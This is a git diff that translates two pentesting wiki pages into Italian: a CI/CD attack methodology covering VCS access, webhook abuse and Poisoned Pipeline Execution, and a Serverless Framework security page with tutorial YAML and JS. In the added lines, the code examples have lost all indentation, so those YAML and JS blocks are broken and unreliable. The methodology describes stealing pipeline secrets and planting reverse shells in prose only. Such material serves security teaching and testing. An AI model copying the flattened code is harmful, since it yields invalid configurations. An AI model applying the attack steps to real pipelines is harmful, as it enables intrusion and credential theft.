- - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- - If no secret is in place, the attacker could abuse the webhook of the third party platform
- - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- - Compromise the main branch to **compromise production**.
- - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- - **Compromise the pipeline** (check next section)
+- **Leaks**: Se il tuo codice contiene leak nei commit e l'attaccante può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leak.
+- **Access**: Se un attaccante può **accedere a un account all'interno della piattaforma VCS**, potrebbe guadagnare **maggiore visibilità e permessi**.
+- **Register**: Alcune piattaforme consentiranno solo agli utenti esterni di creare un account.
+- **SSO**: Alcune piattaforme non consentiranno agli utenti di registrarsi, ma permetteranno a chiunque di accedere con un SSO valido (quindi un attaccante potrebbe usare il suo account github per entrare, ad esempio).
+- **Credentials**: Nome utente+Pwd, token personali, chiavi ssh, token Oauth, cookie... ci sono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo.
+- **Webhooks**: Le piattaforme VCS consentono di generare webhooks. Se non sono **protetti** con segreti non visibili, un **attaccante potrebbe abusarne**.
+- Se non c'è alcun segreto in atto, l'attaccante potrebbe abusare del webhook della piattaforma di terze parti.
+- Se il segreto è nell'URL, succede la stessa cosa e l'attaccante ha anche il segreto.
+- **Code compromise:** Se un attore malintenzionato ha qualche tipo di accesso **in scrittura** sui repo, potrebbe cercare di **iniettare codice malevolo**. Per avere successo, potrebbe dover **bypassare le protezioni dei branch**. Queste azioni possono essere eseguite con diversi obiettivi in mente:
+- Compromettere il branch principale per **compromettere la produzione**.
+- Compromettere il principale (o altri branch) per **compromettere le macchine degli sviluppatori** (poiché di solito eseguono test, terraform o altre cose all'interno del repo sulle loro macchine).
+- **Compromettere la pipeline** (controlla la sezione successiva).
## Pipelines Pentesting Methodology
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+Il modo più comune per definire una pipeline è utilizzare un **file di configurazione CI ospitato nel repository** che la pipeline costruisce. Questo file descrive l'ordine dei lavori eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
+Questi file di solito hanno un nome e un formato coerenti, ad esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML di GitHub Actions situati sotto .github/workflows. Quando attivata, la job della pipeline **estrae il codice** dalla sorgente selezionata (ad es. commit / branch) e **esegue i comandi specificati nel file di configurazione CI** contro quel codice.
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+Pertanto, l'obiettivo finale dell'attaccante è in qualche modo **compromettere quei file di configurazione** o i **comandi che eseguono**.
### PPE - Poisoned Pipeline Execution
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Il percorso Poisoned Pipeline Execution (PPE) sfrutta i permessi in un repository SCM per manipolare una pipeline CI e eseguire comandi dannosi. Gli utenti con i permessi necessari possono modificare i file di configurazione CI o altri file utilizzati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di questi comandi malevoli.
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+Affinché un attore malintenzionato abbia successo nell'eseguire un attacco PPE, deve essere in grado di:
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- - For this, he might need to be able to **bypass branch protections**.
+- Avere **accesso in scrittura alla piattaforma VCS**, poiché di solito le pipeline vengono attivate quando viene eseguito un push o una pull request. (Controlla la metodologia di pentesting VCS per un riepilogo dei modi per ottenere accesso).
+- Nota che a volte un **PR esterno conta come "accesso in scrittura"**.
+- Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il file di configurazione CI o altri file su cui si basa la configurazione**.
+- Per questo, potrebbe dover essere in grado di **bypassare le protezioni dei branch**.
-There are 3 PPE flavours:
+Ci sono 3 varianti di PPE:
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**: Un attacco **Direct PPE** si verifica quando l'attore **modifica il file di configurazione CI** che verrà eseguito.
+- **I-DDE**: Un attacco **Indirect PPE** si verifica quando l'attore **modifica** un **file** su cui il file di configurazione CI che verrà eseguito **si basa** (come un file make o una configurazione terraform).
+- **Public PPE o 3PE**: In alcuni casi, le pipeline possono essere **attivate da utenti che non hanno accesso in scrittura nel repo** (e che potrebbero non essere nemmeno parte dell'organizzazione) perché possono inviare un PR.
+- **3PE Command Injection**: Di solito, le pipeline CI/CD **imposteranno variabili di ambiente** con **informazioni sul PR**. Se quel valore può essere controllato da un attaccante (come il titolo del PR) ed è **utilizzato** in un **luogo pericoloso** (come l'esecuzione di **comandi sh**), un attaccante potrebbe **iniettare comandi lì**.
### Exploitation Benefits
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attaccante potrebbe ottenere dopo un'esploitazione riuscita:
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Secrets**: Come menzionato in precedenza, le pipeline richiedono **privilegi** per i loro lavori (recuperare il codice, costruirlo, distribuirlo...) e questi privilegi sono solitamente **concessi in segreti**. Questi segreti sono di solito accessibili tramite **variabili di ambiente o file all'interno del sistema**. Pertanto, un attaccante cercherà sempre di esfiltrare quanti più segreti possibile.
+- A seconda della piattaforma della pipeline, l'attaccante **potrebbe dover specificare i segreti nella configurazione**. Questo significa che se l'attaccante non può modificare la pipeline di configurazione CI (**I-PPE** ad esempio), potrebbe **solo esfiltrare i segreti che quella pipeline ha**.
+- **Computation**: Il codice viene eseguito da qualche parte, a seconda di dove viene eseguito, un attaccante potrebbe essere in grado di pivotare ulteriormente.
+- **On-Premises**: Se le pipeline vengono eseguite in sede, un attaccante potrebbe finire in una **rete interna con accesso a più risorse**.
+- **Cloud**: L'attaccante potrebbe accedere a **altre macchine nel cloud** ma potrebbe anche **esfiltrare** i token **IAM roles/service accounts** da esso per ottenere **ulteriore accesso all'interno del cloud**.
+- **Platforms machine**: A volte i lavori verranno eseguiti all'interno delle **macchine della piattaforma delle pipeline**, che di solito si trovano all'interno di un cloud con **nessun altro accesso**.
+- **Select it:** A volte la **piattaforma delle pipeline avrà configurato diverse macchine** e se puoi **modificare il file di configurazione CI** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attaccante probabilmente eseguirà una reverse shell su ciascuna possibile macchina per cercare di sfruttarla ulteriormente.
+- **Compromise production**: Se sei all'interno della pipeline e la versione finale viene costruita e distribuita da essa, potresti **compromettere il codice che andrà a finire in produzione**.
## More relevant info
### Tools & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per l'audit della tua catena di fornitura software per la conformità alla sicurezza basato su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal tempo di codice al tempo di distribuzione.
### Top 10 CI/CD Security Risk
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Controlla questo interessante articolo sui 10 principali rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Su ciascuna piattaforma che puoi eseguire localmente troverai come lanciarla localmente in modo da poterla configurare come desideri per testarla.
+- Laboratorio Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di analisi statica del codice per l'infrastruttura come codice.
## References
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..2670009dc 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -2,302 +2,273 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-### Organization
+### Organizzazione
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+Un'**Organizzazione** è l'entità di livello più alto all'interno dell'ecosistema Serverless Framework. Rappresenta un **gruppo collettivo**, come un'azienda, un dipartimento o qualsiasi grande entità, che comprende più progetti, team e applicazioni.
### Team
-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+Il **Team** è composto dagli utenti con accesso all'interno dell'organizzazione. I team aiutano a organizzare i membri in base ai ruoli. I **`Collaboratori`** possono visualizzare e distribuire app esistenti, mentre gli **`Admin`** possono creare nuove app e gestire le impostazioni dell'organizzazione.
-### Application
+### Applicazione
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+Un'**App** è un raggruppamento logico di servizi correlati all'interno di un'Organizzazione. Rappresenta un'applicazione completa composta da più servizi serverless che lavorano insieme per fornire una funzionalità coesa.
-### **Services**
-
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
+### **Servizi**
+Un **Servizio** è il componente centrale di un'applicazione Serverless. Rappresenta l'intero progetto serverless, racchiudendo tutte le funzioni, configurazioni e risorse necessarie. È tipicamente definito in un file `serverless.yml`, un servizio include metadati come il nome del servizio, configurazioni del provider, funzioni, eventi, risorse, plugin e variabili personalizzate.
```yaml
service: my-service
provider:
- name: aws
- runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
functions:
- hello:
- handler: handler.hello
+hello:
+handler: handler.hello
```
-
-Function
+Funzione
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+Una **Funzione** rappresenta una singola funzione serverless, come una funzione AWS Lambda. Contiene il codice che viene eseguito in risposta agli eventi.
+È definita nella sezione `functions` in `serverless.yml`, specificando il gestore, il runtime, gli eventi, le variabili d'ambiente e altre impostazioni.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
```
-
-Event
+Evento
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**Eventi** sono attivatori che invocano le tue funzioni serverless. Definiscono come e quando una funzione dovrebbe essere eseguita.
+I tipi di eventi comuni includono richieste HTTP, eventi programmati (lavori cron), eventi del database, caricamenti di file e altro ancora.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- - schedule:
- rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
```
-
-Resource
+Risorsa
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**Risorse** ti permettono di definire risorse cloud aggiuntive di cui il tuo servizio ha bisogno, come database, bucket di archiviazione o ruoli IAM.
+Sono specificate nella sezione `resources`, spesso utilizzando la sintassi di CloudFormation per AWS.
```yaml
resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- TableName: my-table
- AttributeDefinitions:
- - AttributeName: id
- AttributeType: S
- KeySchema:
- - AttributeName: id
- KeyType: HASH
- ProvisionedThroughput:
- ReadCapacityUnits: 1
- WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
```
-
Provider
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-
-It includes details like the runtime, region, stage, and credentials.
+L'oggetto **Provider** specifica il fornitore di servizi cloud (ad es., AWS, Azure, Google Cloud) e contiene impostazioni di configurazione rilevanti per quel fornitore.
+Include dettagli come il runtime, la regione, lo stage e le credenziali.
```yaml
yamlCopy codeprovider:
- name: aws
- runtime: nodejs14.x
- region: us-east-1
- stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
```
-
-Stage and Region
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+Fase e Regione
+La fase rappresenta diversi ambienti (ad es., sviluppo, staging, produzione) in cui il tuo servizio può essere distribuito. Consente configurazioni e distribuzioni specifiche per l'ambiente.
```yaml
provider:
- stage: dev
+stage: dev
```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+La regione specifica la regione geografica in cui le tue risorse saranno distribuite. È importante per considerazioni di latenza, conformità e disponibilità.
```yaml
provider:
- region: us-west-2
+region: us-west-2
```
-
-Plugins
-
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
+Plugin
+**Plugin** estendono la funzionalità del Serverless Framework aggiungendo nuove caratteristiche o integrandosi con altri strumenti e servizi. Sono definiti nella sezione `plugins` e installati tramite npm.
```yaml
plugins:
- - serverless-offline
- - serverless-webpack
+- serverless-offline
+- serverless-webpack
```
-
Layers
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
-
+**Layers** ti permettono di impacchettare e gestire codice condiviso o dipendenze separatamente dalle tue funzioni. Questo promuove la riutilizzabilità e riduce le dimensioni dei pacchetti di distribuzione. Sono definiti nella sezione `layers` e referenziati dalle funzioni.
```yaml
layers:
- commonLibs:
- path: layer-common
+commonLibs:
+path: layer-common
functions:
- hello:
- handler: handler.hello
- layers:
- - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
+```
+
+
+
+
+Variabili e Variabili Personalizzate
+
+**Variabili** abilitano la configurazione dinamica consentendo l'uso di segnaposto che vengono risolti al momento del deployment.
+
+- **Sintassi:** La sintassi `${variabile}` può fare riferimento a variabili di ambiente, contenuti di file o altri parametri di configurazione.
+
+```yaml
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+* **Variabili Personalizzate:** La sezione `custom` è utilizzata per definire variabili e configurazioni specifiche per l'utente che possono essere riutilizzate in tutto il `serverless.yml`.
+
+```yaml
+custom:
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
```
-Variables and Custom Variables
-
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
-
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
- ```yaml
- functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
- ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
- ```yaml
- custom:
- tableName: my-dynamodb-table
- stage: ${opt:stage, 'dev'}
- ```
-
-
-
-
-
-Outputs
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+Output
+**Output** definiscono i valori che vengono restituiti dopo che un servizio è stato distribuito, come ARNs delle risorse, endpoint o altre informazioni utili. Sono specificati sotto la sezione `outputs` e spesso utilizzati per esporre informazioni ad altri servizi o per un facile accesso dopo il deployment.
```yaml
¡outputs:
- ApiEndpoint:
- Description: "API Gateway endpoint URL"
- Value:
- Fn::Join:
- - ""
- - - "https://"
- - Ref: ApiGatewayRestApi
- - ".execute-api."
- - Ref: AWS::Region
- - ".amazonaws.com/"
- - Ref: AWS::Stage
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
```
-
-IAM Roles and Permissions
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
+Ruoli e Permessi IAM
+**Ruoli e Permessi IAM** definiscono le credenziali di sicurezza e i diritti di accesso per le tue funzioni e altre risorse. Sono gestiti sotto le impostazioni del `provider` o delle singole funzioni per specificare i permessi necessari.
```yaml
provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-
-Environment Variables
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
+Variabili d'Ambiente
+**Le variabili** ti permettono di passare impostazioni di configurazione e segreti alle tue funzioni senza codificarli in modo rigido. Sono definite nella sezione `environment` per il provider o per funzioni individuali.
```yaml
provider:
- environment:
- STAGE: ${self:provider.stage}
+environment:
+STAGE: ${self:provider.stage}
functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
```
-
-Dependencies
-
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
+Dipendenze
+**Dipendenze** gestiscono le librerie e i moduli esterni di cui le tue funzioni hanno bisogno. Vengono solitamente gestite tramite gestori di pacchetti come npm o pip, e incluse nel tuo pacchetto di distribuzione utilizzando strumenti o plugin come `serverless-webpack`.
```yaml
plugins:
- - serverless-webpack
+- serverless-webpack
```
-
Hooks
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
-
+**Hooks** ti permettono di eseguire script o comandi personalizzati in punti specifici del ciclo di vita del deployment. Sono definiti utilizzando plugin o all'interno del `serverless.yml` per eseguire azioni prima o dopo i deployment.
```yaml
custom:
- hooks:
- before:deploy:deploy: echo "Starting deployment..."
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
```
-
### Tutorial
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
-
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+Questo è un riepilogo del tutorial ufficiale [**dalla documentazione**](https://www.serverless.com/framework/docs/tutorial):
+1. Crea un account AWS (Serverless.com inizia nell'infrastruttura AWS)
+2. Crea un account su serverless.com
+3. Crea un'app:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+Questo dovrebbe aver creato un **app** chiamata `tutorialapp` che puoi controllare in [serverless.com](serverless.com-security.md) e una cartella chiamata `Tutorial` con il file **`handler.js`** contenente del codice JS con un codice `helloworld` e il file **`serverless.yml`** che dichiara quella funzione:
{{#tabs }}
{{#tab name="handler.js" }}
-
```javascript
exports.hello = async (event) => {
- return {
- statusCode: 200,
- body: JSON.stringify({
- message: "Go Serverless v4! Your function executed successfully!",
- }),
- }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
```
-
{{#endtab }}
{{#endtabs }}
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
- 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
- 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. Crea un provider AWS, andando nel **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
+1. Per dare accesso a `serverless.com` ad AWS, verrà chiesto di eseguire uno stack cloudformation utilizzando questo file di configurazione (al momento della scrittura): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. Questo template genera un ruolo chiamato **`SFRole-`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sull'account con un Trust Identity che consente all'account AWS di `Serverless.com` di accedere al ruolo.
Yaml roleTemplate
-
```yaml
Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
Resources:
- SFRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- AWS: arn:aws:iam::486128539022:root
- Action:
- - sts:AssumeRole
- Condition:
- StringEquals:
- sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
- Path: /
- RoleName: !Ref RoleName
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AdministratorAccess
- ReporterFunction:
- Type: Custom::ServerlessFrameworkReporter
- Properties:
- ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
- OrgUid: !Ref OrgUid
- RoleArn: !GetAtt SFRole.Arn
- Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
Outputs:
- SFRoleArn:
- Description: "ARN for the IAM Role used by Serverless Framework"
- Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
Parameters:
- OrgUid:
- Description: Serverless Framework Org Uid
- Type: String
- Alias:
- Description: Serverless Framework Provider Alias
- Type: String
- RoleName:
- Description: Serverless Framework Role Name
- Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
```
-
-Trust Relationship
-
+Relazione di Fiducia
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::486128539022:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
}
```
-
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. Il tutorial chiede di creare il file `createCustomer.js` che sostanzialmente creerà un nuovo endpoint API gestito dal nuovo file JS e chiede di modificare il file `serverless.yml` per far sì che generi un **nuovo tavolo DynamoDB**, definisca una **variabile d'ambiente**, il ruolo che utilizzerà le lambdas generate.
{{#tabs }}
{{#tab name="createCustomer.js" }}
-
```javascript
"use strict"
const AWS = require("aws-sdk")
module.exports.createCustomer = async (event) => {
- const body = JSON.parse(Buffer.from(event.body, "base64").toString())
- const dynamoDb = new AWS.DynamoDB.DocumentClient()
- const putParams = {
- TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
- Item: {
- primary_key: body.name,
- email: body.email,
- },
- }
- await dynamoDb.put(putParams).promise()
- return {
